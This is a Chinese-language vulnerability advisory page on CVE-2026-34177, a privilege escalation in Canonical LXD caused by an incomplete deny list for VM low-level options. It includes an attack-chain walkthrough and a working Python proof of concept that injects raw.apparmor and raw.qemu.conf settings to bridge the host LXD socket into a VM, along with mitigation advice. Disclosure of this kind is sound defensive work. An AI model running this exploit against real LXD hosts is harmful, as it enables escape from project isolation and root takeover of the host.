IPBUF安全漏洞报告
English
CVE-2026-34177 CVSS 9.1 严重

CVE-2026-34177 LXD权限提升漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-34177
漏洞类型
权限提升
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Canonical LXD

相关标签

权限提升LXD容器逃逸CVE-2026-34177配置注入

漏洞概述

Canonical LXD 4.12至6.7版本中存在一个严重的安全漏洞,源于`isVMLowLevelOptionForbidden`函数中的拒绝列表不完整。该漏洞遗漏了对`raw.apparmor`和`raw.qemu.conf`配置项的拦截,即使在设置了`restricted.virtual-machines.lowlevel=block`项目限制的情况下,拥有虚拟机编辑权限的远程攻击者仍可注入恶意的AppArmor规则和QEMU字符设备配置。攻击者利用此漏洞可将LXD的Unix域套接字桥接到客户机虚拟机中,从而允许从虚拟机内部与宿主机的LXD守护进程通信,最终实现从受限项目用户提升至LXD集群管理员权限,并进一步获取宿主机的Root权限。

技术细节

该漏洞的核心在于LXD的项目限制机制未能正确过滤所有危险的低级配置选项。函数`isVMLowLevelOptionForbidden`位于`lxd/project/limits/permissions.go`中,旨在防止非管理员用户修改虚拟机的底层设置。然而,该函数的黑名单并未包含`raw.apparmor`和`raw.qemu.conf`。攻击者首先利用`raw.apparmor`注入AppArmor配置规则,解除对宿主机特定文件路径(如LXD Unix套接字)的访问限制。随后,攻击者通过`raw.qemu.conf`添加QEMU字符设备定义,将宿主机的LXD API Unix套接字(通常为`/var/snap/lxd/common/lxd/unix.socket`)映射到虚拟机内部。重启虚拟机后,攻击者即可在Guest OS内直接通过该套接字调用LXD API。由于LXD守护进程以Root权限运行,攻击者可借此创建特权容器、挂载敏感目录或执行任意系统命令,从而绕过项目隔离限制,完全控制宿主机。

攻击链分析

STEP 1
侦察
攻击者确认目标环境运行的是受影响版本的Canonical LXD(4.12至6.7),并获取了受限项目中某个虚拟机的`can_edit`权限。
STEP 2
配置注入
攻击者利用遗漏的`raw.apparmor`参数注入AppArmor规则,允许虚拟机访问宿主机的LXD套接字;同时利用`raw.qemu.conf`参数配置QEMU字符设备,将宿主机套接字映射到虚拟机内部。
STEP 3
触发漏洞
攻击者重启虚拟机以使恶意配置生效。此时虚拟机内部已建立起通往宿主机LXD守护进程的通信通道。
STEP 4
权限提升
攻击者在虚拟机内部通过映射的套接字直接调用LXD API。由于LXD API拥有Root权限,攻击者可创建特权容器或执行命令,从而获取宿主机Root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import subprocess import sys # Exploit for CVE-2026-34177: LXD Privilege Escalation via Config Injection # Target: Canonical LXD 4.12 <= 6.7 TARGET_VM = "target-vm" LXD_SOCKET_PATH = "/var/snap/lxd/common/lxd/unix.socket" def exploit(): print(f"[*] Attempting to exploit {TARGET_VM}...") # 1. Inject AppArmor rule to allow access to the LXD Unix socket # This overrides the security profile blocking the socket apparmor_payload = f"unix (connect, send, receive) type=stream addr=\"@{LXD_SOCKET_PATH}\"," print(f"[*] Injecting AppArmor rule: {apparmor_payload}") try: subprocess.run(["lxc", "config", "set", TARGET_VM, "raw.apparmor", apparmor_payload], check=True) except subprocess.CalledProcessError as e: print(f"[-] Failed to set raw.apparmor: {e}") sys.exit(1) # 2. Inject QEMU configuration to bridge the socket into the VM # This creates a virtio-serial port connected to the host socket qemu_payload = f""" [chardev "lxd-sock"] path = "{LXD_SOCKET_PATH}" backend = "socket" [device "dev-lxd-sock"] driver = "virtio-serial-pci" [device "port-lxd-sock"] driver = "virtserialport" name = "org.linuxcontainers.lxd" chardev = "lxd-sock" """ print("[*] Injecting QEMU chardev configuration...") try: subprocess.run(["lxc", "config", "set", TARGET_VM, "raw.qemu.conf", qemu_payload], check=True) except subprocess.CalledProcessError as e: print(f"[-] Failed to set raw.qemu.conf: {e}") sys.exit(1) # 3. Restart the VM to apply the configuration changes print(f"[*] Restarting {TARGET_VM} to apply changes...") try: subprocess.run(["lxc", "restart", TARGET_VM, "--force"], check=True) except subprocess.CalledProcessError as e: print(f"[-] Failed to restart VM: {e}") sys.exit(1) print("[+] Exploit successful!") print(f"[+] The LXD Unix socket is now available inside the VM at /dev/virtio-ports/org.linuxcontainers.lxd") print("[+] You can now interact with the LXD API as root from within the VM.") if __name__ == "__main__": exploit()

影响范围

Canonical LXD 4.12 - 6.7

防御指南

临时缓解措施
如果暂时无法升级版本,应立即审查所有受限项目的成员权限,撤销不可信用户的`can_edit`权限。同时,管理员应检查系统中虚拟机的配置项,排查是否存在恶意的`raw.apparmor`或`raw.qemu.conf`设置,并移除相关配置以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表